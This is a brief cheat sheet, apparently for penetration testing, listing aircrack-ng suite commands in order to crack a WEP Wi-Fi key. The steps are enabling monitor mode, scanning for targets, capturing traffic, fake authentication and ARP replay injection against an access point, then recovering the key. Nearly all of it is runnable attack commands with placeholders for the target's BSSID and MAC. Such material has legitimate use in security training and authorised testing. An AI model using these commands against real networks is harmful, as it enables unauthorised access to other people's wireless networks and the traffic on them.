WEP

Attack that exploits weaknesses in WEP encryption to recover the network password by capturing and analyzing traffic.

Setup

Command 
ip addr
Description

Displays the MAC address of the wireless adapter.

Command 
airmon-ng start wlan0
Description

Puts the wireless adapter into monitor mode.

Scanning

Command 
airodump-ng wlan0mon
Description

Scans nearby networks on the 2.4GHz band and displays their BSSID and channel.

Command 
airodump-ng --band a wlan0mon
Description

Scans nearby networks on the 5GHz band and displays their BSSID and channel.

Capture

Command 
airodump-ng --channel [channel_no] --bssid [BSSID] --write [file_name] wlan0mon
Description

Captures traffic on the target network and saves it to a file (2.4GHz).

Command 
airodump-ng --band a --channel [channel_no] --bssid [BSSID] --write [file_name] wlan0mon
Description

Captures traffic on the target network and saves it to a file (5GHz).

Execution

Command 
aireplay-ng --fakeauth 0 -a [BSSID] -h [MAC] wlan0mon
Description

Performs fake authentication with the access point.

Command 
aireplay-ng --arpreplay -b [BSSID] -h [MAC] wlan0mon
Description

Generates extra network traffic to speed up cracking the WEP key.

Cracking

Command 
aircrack-ng [file_name]-01.cap
Description

Cracks the WEP key from the captured packet file.